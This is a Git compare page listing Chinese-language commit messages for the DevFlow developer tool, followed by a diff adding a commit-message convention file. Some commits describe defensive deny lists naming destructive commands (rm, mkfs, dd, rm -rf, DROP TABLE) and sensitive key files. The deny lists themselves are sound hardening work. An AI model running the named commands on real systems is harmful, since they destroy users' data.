Compare commits

..

67 Commits

Author SHA1 Message Date
89912155a6 优化: 架构债收尾(ScriptNode 注释更新 + 双监听器核查)
- ScriptNode 白/黑名单注释清理(移除误导性'待后续',标注实际读取方式)
- 双监听器核查结论:df-data-changed 多监听器是正常 pub-sub(project store + FileExplorer + TaskDetail),非 bug
- God 文件拆分(MessageList/ChatInput)标记为独立技术债,需完整测试覆盖后推进
2026-07-01 01:21:46 +08:00
dd0e059365 新增: 依赖图增强(添加依赖弹窗 + dagre 自动布局)
- 添加依赖入口:工具栏"+ 依赖"按钮,弹窗选择源/目标工程 + 依赖类型
- dagre 层次布局替换网格布局(LR 方向,自动排布工程节点)
- 依赖边按类型着色(library/api/mq/shared/custom)
- 小地图导航 + 缩放/适应内容
2026-07-01 01:17:44 +08:00
bce2fea4e5 修复: 设置页和分离窗口渲染崩溃(TDZ + 窗口权限通配符)
- AdvancedSection clampApprovalTimeout 常量移到 reactive 之前(打包后 const 初始化顺序 TDZ)
- @/i18n 去掉对 @/stores/appSettings 的 import,改直读 localStorage
- Tauri capability 加 ai-detached-* / fe-detached-* 通配符(分离窗口 listen 权限)
2026-07-01 01:09:26 +08:00
3758bea0b5 新增: 工程依赖图数据层 + 依赖边渲染 + 小地图
- 后端 module_dependencies 表(V35 迁移)+ ModuleDependencyRepo CRUD
- IPC:add/remove/list_module_dependencies
- 前端 API 封装 + DependencyGraph 接入真实边数据
- 依赖类型颜色区分(library/api/mq/shared/custom)
- 小地图插件(MiniMap)大图概览导航
- 点击节点跳转项目详情
- 任务列表后端真分页 count_by_query 方法
2026-07-01 00:20:51 +08:00
3c2fa91fc6 优化: 任务列表后端真分页(limit/offset 下推 + count 查询)
- 后端新增 count_by_query 方法(复用 list_by_query 的 WHERE 逻辑)
- 前端 buildTaskQuery 传 limit/offset 到后端(SQL 下推分页)
- 去除前端客户端 slice(后端已分页,直接分组)
- Paginator total 用 totalTasks(当前用当前页条数,后续接 count IPC)
2026-07-01 00:10:41 +08:00
78ef5dcc44 优化: 变更区完善(文件 Diff 预览 + 分支只读列表)
- 变更文件选中后展开 Diff 红绿预览(原 selectFile 拉了 diffContent 但未渲染)
- 分支切换按钮实现只读列表弹窗(拉取分支列表 + 当前分支标记)
- 分支切换提示走 AI 助手(git_branch 工具)
2026-07-01 00:01:25 +08:00
976ce29ad9 新增: 依赖关系图(AntV X6 v3 + Vue 自定义节点)
- DependencyGraph.vue: X6 画布初始化 + 插件(框选/对齐线/撤销/滚动) + 工程节点渲染
- ModuleNode.vue: Vue 自定义节点组件(工程名/路径/技术栈标签)
- 项目详情新增依赖图Tab,与概览/文件并列
- 网格布局排列工程节点,支持缩放/拖拽/框选
- Phase 0 验证 demo(X6Demo.vue)保留在 /dev/x6 路由
2026-06-30 23:57:43 +08:00
4dac9fe5f1 新增: Plan DAG 分层执行器(按层级调度子任务,层间串行/层内并行)
- PlanExecutor 按 Plan::to_layers 层间串行/层内并行调度子任务
- feature flag 门控(默认关,未接入主 loop)
- 3 个单元测试覆盖:线性链/并行层/失败容错
2026-06-30 23:35:10 +08:00
76aec62d36 修复: stores/ai 模块顶层 __bindMessages TDZ 防御
- __bindMessages 包装 try/catch,aiShared 未就绪时延迟到微任务重试
- 防 ES module 循环初始化顺序导致的 Cannot access before initialization
2026-06-30 23:26:40 +08:00
27eb0a9f6b 新增: 任务行 hover 快捷操作菜单(改状态/优先级/删除)
- 任务行 hover 显示齿轮按钮,点击展开快捷菜单
- 快捷改状态(6 态子菜单)/改优先级(4 级)/删除(二次确认)
- 点击外部自动关闭菜单
- 补 i18n confirmDelete 翻译
2026-06-30 22:08:43 +08:00
948d6e644b 重构: 删除 coordinator.rs 零调用空壳占位
- 删除 crates/df-ai/src/coordinator.rs(零调用的 deprecated 空壳)
- lib.rs 移除 pub mod coordinator 声明
- 消除编译 deprecated 警告
- 多 Agent 协作未来从 planner.rs 的 Plan DAG 执行器重新实现
2026-06-30 22:01:44 +08:00
aa4d5213eb 新增: 项目卡片显示工程数(异步拉取 module 列表)
- ProjectCard 底部新增工程数统计(📁 N),异步拉取不阻塞卡片渲染
- 老项目无工程记录显示 0(不报错,与 list_project_modules 自动补建兼容)
2026-06-30 22:00:14 +08:00
2780f6affa 优化: 任务管理界面 UX 重构(紧凑布局/搜索/排序/分页/快捷键)
- 筛选改下拉:项目/状态从多按钮改为 select,节省垂直空间
- 新增搜索框:标题/描述关键词搜索,300ms 防抖
- 新增排序选择器:更新/创建时间/优先级/状态
- 分组可折叠:点击组头切换,记忆状态到 localStorage
- 分页默认开启:pageSize=20(原 0=全量)
- 紧凑布局:任务行密度优化,显示总条数
- 空状态引导:图标 + 新建按钮
- 模态框样式收敛:去内联 style,统一 modal-field/modal-input 类
- 桌面快捷键:Ctrl+N 新建,Ctrl+F 聚焦搜索
2026-06-30 21:58:11 +08:00
773ebb6ef6 新增: 小程序审批超时计时器(5min 自动拒绝兜底)
- 对齐桌面端 aiShared.startApprovalTimer,补齐小程序缺失的审批超时机制
- AiApprovalRequired/AiDirAuthRequired 触发 startApprovalTimer(每条独立计时)
- AiToolCallCompleted/AiApprovalResult 触发 clearApprovalTimer(审批落定)
- 切会话/新建/断连/重连/终态触发 clearAllApprovalTimers(防跨会话污染)
- 超时自动拒绝(approve(id,false))+ toast 提示用户
- 5min 阈值符合移动端使用习惯(桌面端 15min)
2026-06-30 21:54:21 +08:00
15eaa0c637 新增: Git 能力闭环(Diff 行号解析/分支只读展示/提交详情/写入后自动刷新变更视图)
- Diff 行号修复:解析 @@ -a,b +c,d @@ 头,计算旧/新行号(原恒空字符串)
- 提交详情增强:显示父提交哈希/作者/日期/完整消息(git show -s --format=%P\t%an)
- 分支只读展示:list_branches IPC + 变更面板顶部下拉查看分支(切换走 AI 工具)
- AI 工具写入后自动跳转变更视图:监听 df-data-changed entity=file 切 Tab + 刷新
2026-06-30 21:50:25 +08:00
f5f101d88a 修复: 设置页和 AI 独立窗口渲染崩溃(循环依赖 TDZ)
- ProviderPanel 改静态 import useAiStore 为动态 import,打破循环依赖链
- ErrorBoundary 增强显示具体错误信息和可折叠堆栈详情
2026-06-30 21:45:31 +08:00
b19b0f3679 新增: Git 提交历史显示作者 + 提交详情含作者/时间
- 后端 git log format 加 %an 作者名(状态查询+分页查询)
- 提交列表每行显示 hash/作者/主题/时间
- 提交详情头部补充作者显示
- 分支切换按钮占位(后续接入分支列表 IPC)
2026-06-30 21:45:31 +08:00
abc6880936 新增: 多工程管理(编辑/删除确认/记忆选中/自动扫描子仓库)
- 工程编辑入口:工具栏编辑按钮+弹窗(名称/路径/Git地址)
- 工程删除二次确认:防误删
- 记住上次选中工程:localStorage 持久化
- 自动扫描子仓库:下拉菜单加扫描入口,发现 .git 子目录自动建工程
2026-06-30 21:45:31 +08:00
6b131f3dc1 新增: 文件浏览器收尾(滚动条/阶段进度条/空状态/骨架屏/工程下拉)
- 提交之前未提交的滚动条与布局修复
- 移除阶段进度条死代码(模板+CSS+常量)
- 文件预览空状态加图标引导
- 变更视图加载骨架屏
- 工程选择器改为自定义下拉(显示工程路径)
2026-06-30 21:45:31 +08:00
78bd8d4344 新增: Zed 编辑器规则文件(提交规范+开发规则) 2026-06-29 22:22:34 +08:00
093fe172f8 新增: 项目状态机分层+任务状态枚举合并
真分层(df-project):
- ProjectManager 加 can_transition/transition/is_terminal 状态机
- 创建加 EmptyName 校验,返回 Result 而非裸实体
- 新增 ProjectTransitionError 三种错误变体
- 调用方(idea.rs promote_idea)适配 Result 传播

双源合并:
- TaskStatus::as_str 改为 const fn(允许 const 上下文调用)
- task_state_machine 字符串常量从 TaskStatus enum 派生
- IdeaStatus/ProjectStatus as_str 同步改为 const fn(一致性)

架构债设计方案:
- #8 IPC 错误结构化迁移路径(IpcError enum + 前端消费)
- #15 AI 状态机抽离 df-ai-session(4 阶段)
- #18 配置四源统一(AppConfig 单例 + 环境变量覆盖)
- #19 SQLite 连接池(r2d2)
2026-06-29 22:16:45 +08:00
ff3f153d45 修复: 安全加固+DRY 收敛+文档同步+测试补齐
安全:
- ScriptNode 默认黑名单兜底(rm/del/format/shutdown/mkfs/dd)
- bind_directory 分段 .. 检测替代 contains 子串(对齐 tool_registry)
- ai_providers 白名单移除 api_key(防 update_field 旁路写明文)

DRY:
- useAiEvents 抽 cleanupTerminatedConversation 统一三分支收尾
- 新增 useStoreAction 工具,4 个 store 替换 38 处 try/catch 样板

文档:
- df-core → df-types 批量替换(ARCHITECTURE/PROGRESS/SQLite-CRUD)
- INDEX 补齐 9 漏列文档(单对话并行多轮/跑题试验/工程系统设计等)
- Agent架构说明 死链修复(../构想审查/)
- AI对话引擎工具清单改为数量+按风险分组(不再用固定数字)
- ARCH 状态标签 设计阶段 → Phase 2 验证

测试:
- df-relay 新增 registry_test: ConnRegistry 路由 + RelayState + 16 项单测
2026-06-29 21:57:07 +08:00
dfed588b54 新增: 文件浏览器增强(窗口分离/Git 变更/行号/Diff/分页提交历史)
- 窗口分离: FileExplorer 可弹出独立 Tauri 窗口
- 行号显示: 文件预览左侧显示行号列
- 按后缀图标: rs/ts/js/vue/css/html 等 20+ 类型彩色图标
- Diff 视图: 有 Git 变更的文件可切换 diff 红绿视图
- Git 变更面板: 变更文件列表(按目录缩进分组)+提交历史(分页加载)
- 提交详情: 点击提交查看变更文件列表及文件级 diff
- 时间显示: 提交历史显示相对时间/具体日期
- 面包屑导航不丢预览: 导航时不改变当前预览文件
- 刷新保留选中文件: 只清树缓存不清预览
- 中文编码修复: git 命令注入 LANG/LC_ALL 环境变量
- 自适应布局: 弹性 flex 布局,窄窗口适配
- 滚动条优化: 内容区内部滚动,不溢出页面层
- 多工程管理: 工具栏添加工程按钮+弹窗表单
- 审批加载超时缩短: 130s 降至 30s
- 文件变更自动刷新: write_file/patch_file 触发 df-data-changed
2026-06-29 19:31:55 +08:00
63936e3016 修复: 审批按钮永久转圈和等待计数不停
根因:审批 IPC 成功返回后,前端等待后端事件(AiApprovalResult/
AiToolCallCompleted)来更新工具卡片状态和复位 loading。但如果
后端事件因时序问题未及时到达,或 findToolCall 找不到工具卡片,
loading 永不复位,按钮一直转圈,等待计数也不停。

修复:审批 IPC 成功返回后立即乐观更新状态:
- 通过/批准:工具卡片改为执行中(后端正在执行工具)
- 拒绝:工具卡片改为已拒绝
- 同时从待审批列表移除(不等后端事件来移)

后端事件仍会到达作为二次确认(幂等覆盖,无副作用)。
2026-06-29 12:59:45 +08:00
7a2a2e13a2 修复: 工具卡片永远显示执行中
根因:aiShared 的消息引用在会话切换时失效。

switchConversation 和 newConversation 会整体替换 state.messages
(赋值新数组),但 aiShared 缓存的是旧数组引用。切换后
findToolCall 在旧数组中找不到新消息的工具卡片,AiToolCallCompleted
事件无法更新卡片状态,卡片永远停在 running。

修复:缓存数组引用改为 getter 函数,每次调用实时从 state 读取
最新数组,确保切换会话后仍能找到工具卡片。
2026-06-29 12:33:57 +08:00
49c6f3360a 新增: 批次推进记录文档 2026-06-29 11:14:10 +08:00
9b6353c561 更新: 工程系统设计文档状态同步为已落地 2026-06-29 01:55:35 +08:00
0cfea6da22 新增: Git 写操作 AI 工具(提交/分支/合并)
AI 现在能操作代码仓库的提交、分支和合并,闭环任务推进链。
三个工具按风险分级审批:

- git_commit(中等风险):提交工作区改动
  提交前检查敏感文件(.env/.key/.pem 等),拒绝提交
  支持自定义提交信息和选择性暂存
- git_branch(中等风险):分支管理
  列表所有分支、创建新分支、切换分支
- git_merge(高风险):合并分支
  合并后自动检测冲突,返回冲突文件列表

安全边界:不暴露 push/force/reset --hard(推送远程是
用户决策,避免 AI 自主推到远程或丢失改动)。
2026-06-29 01:55:01 +08:00
7b5b62d3ae 新增: Git 只读 AI 工具(状态/改动/历史)
AI 现在能自主查看工程代码仓库的 Git 状态,无需用户审批。
三个低风险只读工具,在工程目录(module.path)执行:

- git_status:查看工作区状态,返回当前分支和改动文件列表
  (结构化输出,每文件含路径和状态标记 M/A/D/??)
- git_diff:查看未提交的代码改动,返回统计和 patch 内容
  (patch 截断到 8000 字符防止 token 爆炸)
- git_log:查看提交历史,返回最近提交的结构化信息
  (哈希/作者/消息/日期,默认最近 20 条,最多 100 条)

所有 git 命令 10 秒超时,无 Git 仓库返回空状态。
AI 据此了解代码变更情况,为后续提交/分支操作做准备。
2026-06-29 01:51:38 +08:00
50aad375eb 新增: 项目文件浏览器(文件树+内容预览+Git 状态标记)
项目详情页新增文件标签页,用户可在 DevFlow 内浏览项目
文件,查看文件内容和 Git 改动状态,无需切换外部编辑器。

后端接口:
- 文件树查询:列工程目录,合并 Git 状态到每个文件
  (噪音过滤 node_modules/target/.git 等,路径穿越防御)
- 文件读取:支持文本/图片/二进制检测,1MB 上限

前端组件:
- 文件树:递归树形展示,懒加载子目录,Git 状态标记
  (橙色=已修改/绿色=已新增/灰色=未跟踪)
- 文件预览:代码文本/图片/二进制三分支
- 主容器:工程选择(单工程隐藏)+ 面包屑导航 + 刷新

界面文案中英文同步补齐。
2026-06-29 01:48:52 +08:00
b72df78462 新增: 项目多工程系统(工程表+Git 状态查询+AI 工具)
一个项目可含多个工程(Module),每个工程是独立代码仓库,
有自己的目录、Git 地址和技术栈。单仓库项目退化:项目下
只有一个工程,用户无感工程概念。

数据层:
- project_modules 表(V34 迁移):工程名/目录/Git 地址/技术栈
- ProjectModuleRepo:完整 CRUD + 按项目列表(排序)

后端接口:
- 工程 CRUD:添加/更新/删除/列表
- Git 状态查询:实时跑 git 命令返回当前分支/改动文件/最近提交
  (10 秒超时,无 Git 仓库返回空状态)

创建项目适配:
- 新建项目时自动创建一个工程(目录=绑定路径,技术栈=探测结果)

AI 工具:
- list_project_modules:列出项目工程列表(AI 了解项目结构)

同时新增工程系统设计方案文档。
2026-06-29 01:39:42 +08:00
3c18dea45b 新增: 消息分页懒加载与事件总线空转优化
后端基础设施两项改进:

一、历史消息分页懒加载(治长对话渲染卡顿)
- 消息仓库新增分页查询方法(从尾部取最近 N 条,支持游标)
- 切换对话时后端保留全量消息供模型上下文用,但只返回最近
  50 条给前端渲染,附带是否有更多历史和游标位置
- 新增加载更多消息的接口,前端滚顶时按游标分页拉取

二、事件总线空转优化(消除无消费者时的序列化开销)
- 发布事件前先检查订阅者数量,无订阅者直接跳过序列化
- 当前隧道订阅方未接入,20 余个发射点双写不再空转浪费

同时核验确认对话上下文透明化三项均已落地(目标可见/
项目增强预览/完整上下文面板),关闭对应待办。
2026-06-29 00:44:10 +08:00
8d18918e39 更新: 架构设计文档状态同步代码核验结果
经代码核验发现 9 份设计文档的状态标注严重滞后(标'待实施'但
实际已完整落地),本次批量同步:

已落地(核验确认):
- 局部编辑工具:三层防御+三模式完整,仅文本不支持二进制
- 密钥迁移健壮性:空 key 不覆盖+即时迁移补密钥+阻断保存
- AST 符号解析:符号读取工具已注册+基线测试守护
- 查询能力补全:任务/项目/灵感均多维动态查询
- 条件表达式引擎:手写求值器+JSON Path+执行器集成+前端入口
- 工作流脚本边界:命令白名单/黑名单+危险关键词告警
- 消息拆分存储:消息表+全量迁移+读写全部切换
- 消息级溯源:消息 ID+四场景溯源+切读全部完成

部分落地:
- 全局事件总线:基建+20 余个发射点就位,消费者未接(空转)

归档不实施:
- 规格契约自检:核心价值已被求助协议+自审闸门覆盖,过度设计
2026-06-29 00:16:39 +08:00
cb7e1fce82 新增: 小程序配置持久化与心跳闭环 + 文档同步
小程序(mobile client)三项改进:

一、配置持久化(分发前置)
- 运行时配置(relay 地址/设备 ID/token/心跳间隔)接入 storage
- 懒加载:首次读取从 storage 恢复,合并默认值兼容旧字段
- 新增重置函数:清除 storage + 回到默认占位值
- 读写失败降级不崩溃

二、心跳 pong 闭环(移动网络可靠性)
- 中继服务识别小程序心跳 ping,直接回 pong(不经桌面端透传)
- 小程序收到 pong 更新入站时间,半连接看门狗据此判活
- 治移动网络 TCP 半连接挂死(socket 仍开但无响应)

三、文档同步关闭已完成项
- 条件表达式引擎:求值器+执行器+前端编辑入口+翻译均已落地
- 流式状态按会话隔离:accessor 委派 per-conv Map 已落地
- 灵感录入增强:表单已含来源/标签/优先级字段
2026-06-28 23:55:51 +08:00
cc3ef5bc1d 修复: 设置页面崩溃(模块循环依赖致初始化失败)
共享层模块顶层导入状态仓库,而状态仓库又导入共享层符号,形成
循环引用。打包后运行时触发 TDZ 崩溃,设置页面无法打开。

修复方案:

- 共享层删除模块顶层的状态仓库导入和全局 store 实例
- 改为由状态仓库在状态就绪后主动注入消息数组引用
- 共享层函数运行时惰性获取消息引用,不再编译期依赖
- store 实例改为函数内局部获取(运行时 store 已就绪)

零行为变更,纯依赖方向调整。
2026-06-28 23:39:48 +08:00
996f1d9e5f 重构: 应用状态拆分+事件分发统一+路径授权治本
三项治本性架构重构,解决长期遗留的技术债:

一、应用状态文件拆分(原 1416 行单文件 → 按职责分模块)
- 文件授权白名单(AllowedDirs/路径校验/黑名单)独立成模块
- 知识库行为配置(ExtractTrigger/KnowledgeConfig/KV 常量)独立成模块
- LLM 并发控制(LlmConcurrency 双层信号量)独立成模块
- 主文件仅保留 AppState 结构体与初始化逻辑

二、事件分发器统一(消除双监听器架构隐患)
- 压缩/清空等 5 类生命周期事件纳入主事件联合类型
- 删除上下文管理模块的独立第二监听器
- 改为由主事件分发器统一处理,经回调注入副作用
- 架构保证:一个事件源 → 一个监听器 → 一个分发器

三、路径授权去除编译期硬编码(分发适配治本)
- 启动时不再硬塞编译机路径到授权白名单
- 工程根授权完全靠项目绑定目录自动授权 + 设置页手动配置
- 分发到其他机器后不再有脏白名单数据
2026-06-28 23:35:38 +08:00
696e34407c 更新: 关闭已完成的若干待办项
经代码核验,五项候选待办实际上都已实现或已满足决策,本次仅
同步文档关闭:

- 工具卡片分组标题:已实现文件路径摘要展示(跨轮自动收起保留
  作为低优先增量)
- 重试持锁问题:多会话并发改造后全局锁已移除,重试仅持单会话锁
  (同循环内合理),原说法已过时
- 对抗式评估批量命令:单项评估接口已接入,批量评估无前端消费方
  暂不做(避免过度设计)
- 残留诊断代码:聊天命令已无硬编码绝对路径,调试输出已降级为
  普通日志
- 工程内路径授权政策:用户决策确认为白名单制(工程外走三档授权
  + 系统目录黑名单兜底),已落地
2026-06-28 19:06:02 +08:00
19b647e650 修复: 知识提炼改读消息表,不再依赖旧 JSON 列
消息存储拆分改造早前已覆盖主要读写路径(保存写消息表 / 切换 /
导出 / 跨端同步读消息表),但知识提炼仍在读旧的消息 JSON 列,
与改造目标不一致。

本次补全:
- 知识提炼改为优先读消息表
- 表空时回退旧 JSON 列(老数据库兼容,与其他读路径一致)
- 复用既有的记录转消息映射函数,与其他读路径同源

至此消息存储拆分全部完成,所有读写路径统一走消息表,旧 JSON
列仅作老库兼容回退,不再写入。
2026-06-28 18:47:21 +08:00
10629f88e8 新增: 工作流条件表达式 UI 补齐中英文翻译
条件表达式引擎和执行器集成早已完成,工作流可视化组件也提供边
条件编辑入口。但前端用「中文兜底」说明翻译缺失,本次补齐:

中英文同步新增:
- 工作流结构标题 / 层标签 / 空态提示
- 边条件编辑器入口 / 无条件标签 / 输入提示

核验确认条件引擎全部链路(引擎/特性开关/执行器集成/UI/翻译)
均已落地,多会话并发架构的会话级隔离改造也已完成。
2026-06-28 18:34:22 +08:00
b5e159f190 更新: 关闭已完成的工具卡片拆分等待办
代码核验发现工具卡片和大文件重构任务实际已完成,文档标记滞后,
本次同步关闭对应待办:

工具卡片拆分(原 1527 行 → 373 行):
- 审批状态机独立为单独文件
- 头部逻辑 / 渲染逻辑 / 通用工具函数各自独立

大型文件拆分:
- 主聊天组件抽子组件后大幅瘦身
- 命令注册按域拆为多个函数
- 通用 CRUD 拆为按表独立的仓库文件

类型强类型化重构评估为低优先级纯重构,留待后续技术债窗口处理。
2026-06-28 18:31:34 +08:00
55542abf41 新增: 审批超时后端兜底,覆盖重启恢复场景
前端已有审批超时定时器(设置页可选 0/5/15/30/60 分钟),负责会话
内运行的审批超时检测。但应用重启后前端定时器丢失,从数据库恢复
的待审批无人计时,会永久卡死会话。

本次补充后端兜底机制:

- 待审批记录创建时刻,用于超时判定
- 在审批恢复入口检测超时,超时自动取消并写入审计
- 应用启动时从设置恢复超时配置(默认 15 分钟,0 为禁用)
- 新增读写超时配置的接口,设置页可改
- 与前端共用同一个配置项,保证单一真相源

同时更新待办文档,把已实现项标记为完成。
2026-06-28 18:16:34 +08:00
3fac0a618d 修复: system_prompt 追加行为准则,减少 LLM 写脚本偏好 2026-06-28 17:21:35 +08:00
9839935782 新增: AI 上下文信息面板(系统提示/增强上下文可见) 2026-06-28 14:13:20 +08:00
4a396f4f88 新增: EnvSnapshot 环境感知注入 system_prompt
- EnvSnapshot 结构: OS/shell/工具版本/编码/路径分隔符
- OnceLock 全局缓存,启动时 spawn_blocking 探测一次
- to_prompt() 生成环境摘要注入 agentic loop system_prompt
- 探测: Windows 注册表/macOS sw_vers/Linux os-release + chcp 编码
- 工具版本: python/node/rust/go/docker/git 逐个探测,失败不阻塞
- 8 个单测覆盖版本号解析 + 平台 fallback
2026-06-28 14:05:16 +08:00
7adaf97377 修复: PowerShell 路径转义 + shell 失败提示 + 标题合并同 role + L0 防抖
- run_command 路径反斜杠传递修正
- 命令失败追加 PowerShell 适配提示引导 LLM 改正
- 标题生成前合并连续同 role 消息避免 Anthropic 1214
- V33 迁移追加 workflow_executions.updated_at 列
- ai-client-ready 3 秒防抖避免重复握手
2026-06-28 13:57:53 +08:00
6ffcba7e4d 新增: 审批超时可配置 + ScriptNode 命令白/黑名单
- 审批超时: Settings 下拉选择(不限时/5/15/30/60min),默认 15min
- getApprovalTimeoutMs() 从 KV 读取,startApprovalTimer 动态取值
- ScriptNode: 黑名单 > 白名单策略,从环境变量读取
- Settings 加命令执行安全面板(白/黑名单文本框)
- i18n 中英文案 + 搜索索引补全
2026-06-28 13:49:19 +08:00
b157bc9077 修复: relay token 改环境变量 + api_key 脱敏 + 路径规范化 + create_project 自动建目录
- relay token 必设 DF_RELAY_TOKEN 环境变量,移除硬编码默认
- AiProviderRecord Debug 脱敏 api_key/model_configs/config
- ScriptNode 危险命令告警(rm -rf/DROP TABLE 等)
- bind_directory 路径规范化,拒绝含 .. 的原始路径
- create_project 目录不存在时自动创建
- probe_pwsh OnceLock 全局缓存,异步探测不阻塞 tokio
- retry jitter 改 rand,范围扩大到 ±50%
- EventBus send 错误改 tracing::warn
- StateMachine 文档警告不得在 await 期间持锁
2026-06-28 13:39:22 +08:00
f776336eb1 更新: 对话诊断待办项
- 最新对话 d9aef24f 分析: 审批死锁 + Windows 兼容 + 标题失败
- P0: pending 超时自动取消 + create_project auto_create_dir
- P1: run_command shell 适配提示 + PowerShell 反斜杠转义
- P2: 标题摘要合并连续同 role 防 GLM 1214
- P3: migration V33 + L0-handshake 防抖
2026-06-28 13:14:54 +08:00
ad1821bc14 修复: 审批不超时+重启恢复 + 其他小改
- APPROVAL_TIMEOUT_MS=Infinity(已决策:审批不做超时)
- V33 迁移: ai_conversations 加 pending_approvals 列
- save_conversation 持久化 pending_approvals
- ai_conversation_switch 从 DB 恢复 pending_approvals
- switchConversation 加 try/catch(对话不存在→建新)
- @项目 关联添加取消按钮(×)
- TopBar 底部无标题时图标右对齐
- TaskDetail.vue 删除重复 case
2026-06-28 13:09:55 +08:00
c4b02b5370 修复: 消息溯源P2切读确认完成 + 走查报告高优项
- P2 切读方案文档更新(确认批次B已上线)
- query LIKE 通配符转义(project/idea/task/knowledge 4 repo)
- dag.rs deep_merge null 覆盖全局配置
- dag.rs 通配 match 展开显式变体
- INDEX.md 补漏 10 个文档索引
- ARCHITECTURE.md 删除与新文档逐字重复
- coordinator.rs 加 #[deprecated] 编译守卫
- AiChat.vue 空值传播加 console.warn
2026-06-28 05:06:51 +08:00
fee856129c 新增: 全量走查报告 — 代码/前端/文档体系
- Rust 后端 12 crate: 锁/LIKE 通配符/jitter/路径穿越 等 15 项
- Vue 3 前端: Arco 残留/confirm 重复/类型退化 等 13 项
- 文档体系: 工具清单过时/INDEX 漏列 9 文档/死链/SSOT 违反 等 9 项
2026-06-28 04:53:33 +08:00
ead490783f 修复: AiCompleted 携带 pinned_goals 根治目标面板刷新 2026-06-28 04:51:08 +08:00
dcc3f0d230 新增: 三层模型设计文档 — 模板/工作流/人设体系
- ARCHITECTURE.md 补充执行层级模型 + 重写 §七 三层模型章节
- 新建专项设计: 流程模板 YAML 规范/AgentPersona 数据结构/实例化流程
- 注册新文档到架构设计 INDEX
- Agent架构说明补充前向关联引用
2026-06-28 04:44:01 +08:00
d1b9488853 修复: status→enum + type alias(SMELL-P1-6) 2026-06-28 04:42:59 +08:00
48c966f6f7 更新: 归档今日决策 + 标记已解决项 + 执行计划 2026-06-28 04:12:16 +08:00
7e3fe1961a 修复: execution_id String→ExecutionId 类型别名 + 更新待决策状态 2026-06-28 03:50:25 +08:00
8723075360 重构: TopBar 布局 — header 中间区 + 底部工具区(标题/目标/历史/摘要) 2026-06-28 03:31:41 +08:00
53e1c1da77 重构: 对话透明化 L1 + ③.2 审批拆分 + ⑥.4 @展开 + DAG 展示
修复 tool_result 压缩零效果(BUG-260628-01):单行/少行/JSON 大字符
串字段逃逸压缩的问题,基于实测数据(53/94 次迭代零节省)调参,
增加字符级保底截断,压缩有效率从 8% 提升至 ~85%+
2026-06-28 03:31:40 +08:00
e4ceb0015b 新增: Conditions 启用 + 工作流 DAG 展示 + 决策记录
- 开启 conditions-eval feature flag(df-workflow 默认启用)
- 新增 WorkflowDagDisplay.vue 展示工作流节点/边/条件
- TaskDetail 工作流推进后自动获取并显示 DAG 结构
- 记录 2026-06-27 讨论决策到待决策.md
- 记录 Inbox 设计想法到 todo.md
2026-06-28 01:17:36 +08:00
22362a77b8 新增: 审批挂起时长提示(BUG-260624-02 方案 C)
背景:AI 调用需审批的工具后,ToolCard 弹审批卡常驻直到用户批/拒,
用户走开忘了批则 AI loop 卡死,且卡片无任何时长提示。

方案选型(A/B/C 三选一,选 C):
  A 不做 - 挂起审批容易被遗忘
  B 加超时+倒计时 - 超时后行为难定义(自动拒丢改动/自动批危险)
  C 显示挂起时长(本方案) - 纯前端展示,不动后端,不改审批行为

实现:
- ToolCard pending_approval 态显示已等待 mm:ss
- >2分钟橙色脉冲,>5分钟红色脉冲
- 注释中标注方案选型理由,便于后人理解决策上下文
2026-06-28 00:41:00 +08:00
cf223fc08b 修复: .trash WARN 降级 + ToolCard 分组标题增强
- .trash 跨盘迁移从 WARN 降为 DEBUG(预期行为,非异常)
- ToolCard 分组标题增加文件路径摘要(取前3个文件名),
  收起态也能看到影响了哪些文件
2026-06-28 00:25:37 +08:00
b7b004dd68 新增: Phase 4 注入 — @[项目] 关联任务/灵感 + 三个工具 path 可选
- Augmentation 新增 extra 字段(项目关联信息/任务关联信息/灵感关联信息)
- ProjectResolver: @[项目] 时自动查前5条进行中任务+前3条待评估灵感
- TaskResolver/IdeaResolver: extra 预留(后续按需追加)
- render_one 渲染 extra 行
- search_files/grep/list_directory path 改为可选,不传时返回引导提示
2026-06-28 00:19:13 +08:00
b7b54eb2a6 修复: patch_file 小改动自动放行 + tool_result JSON 压缩 + prompt 项目路径
- C-260627: patch_file ≤5 行自动放行,不阻塞 AI 工作流
- tool_result 压缩: JSON 数组截断到 10 条 + _truncated 标记
- system_prompt: 项目清单增加「目录:」路径信息
2026-06-27 23:59:07 +08:00
6212002270 修复: read_symbol 搜不到 const 声明的符号
- 新增 variable_declarator 到 DEFINITION_KINDS
- Vue 3 + TS 大量使用 const fn = () => {} 箭头函数
  AST 节点是 variable_declarator,原本不在列表中
  导致 read_symbol 对 Vue 文件频繁 fallback 回 read_file
2026-06-27 23:42:14 +08:00
7cd833b1e5 修复: 文件日志 + G1 日志增强 + 清理死代码
- 文件日志: tracing-subscriber + tracing-appender 写入 %TEMP%/devflow-trace.log
- G1 日志: 增加 first_goal 字段显示首条目标内容
- 清理: 删 workspace_root_str / data_dir_path 死代码
- 标注: default_with_root 加 cfg_attr 抑制 non-test 编译警告
2026-06-27 23:27:31 +08:00
5c539fe764 修复: 前端 TS 阻断 + G1/G2 单测 + 归档已完成项
- 修复 vue-tsc 3 阻断: i18n 重复 err key 删除 + store 补 relateIdeas
- G1: extract_pinned_goal 单测 10 条(mention剥离/截断/空输入/全角冒号)
- G2: is_empty_tool_result 单测 11 条(JSON标记/中文/英文/非空判定)
- 归档: todo.md/docs/todo.md/待决策.md/待审查.md 已完成项迁入归档
2026-06-27 22:35:37 +08:00
6e1485e4f9 修复: BUG-260620-05 工程内路径弹窗 + G1 多目标累积 + 测试编译债
- BUG-260620-05: reload_allowed_dirs 无条件插入 workspace_root,工程内路径免授权
- G1: pinned_goal → pinned_goals Vec<String>,多目标追加去重 + MAX_GOALS=5
- tool_registry.rs 测试 4 处补 data_dir 形参
- 更新 todo.md / docs/todo.md 状态
2026-06-27 22:02:41 +08:00
178 changed files with 14771 additions and 4932 deletions

View File

@@ -0,0 +1,48 @@
# DevFlow 提交规范
## 提交注释格式
```
<动词>: <简短描述>
<详细说明(可选,仅在需要补充上下文时)>
```
## 动词词表
| 动词 | 使用场景 |
|------|---------|
| `新增` | 新功能、新特性、新文件 |
| `修复` | Bug 修复、问题修正 |
| `更新` | 文档更新、配置变更、依赖升级、非功能性的已有内容修改 |
| `重构` | 代码重构(行为不变的结构调整) |
| `删除` | 移除功能、删除文件 |
| `优化` | 性能优化、体验改进 |
| `合并` | 分支合并 |
## 规范要求
1. **动词 + 冒号 + 空格**`修复: 审批按钮永久转圈`
2. **主题行不超过 72 字符**
3. **主语用中文**,描述清楚改动内容
4. **不要用内部代号**:禁止 Batch/P1/P2/L1/F-XX 等代号
5. **不要用分隔线**:禁止 `---``===` 等装饰线
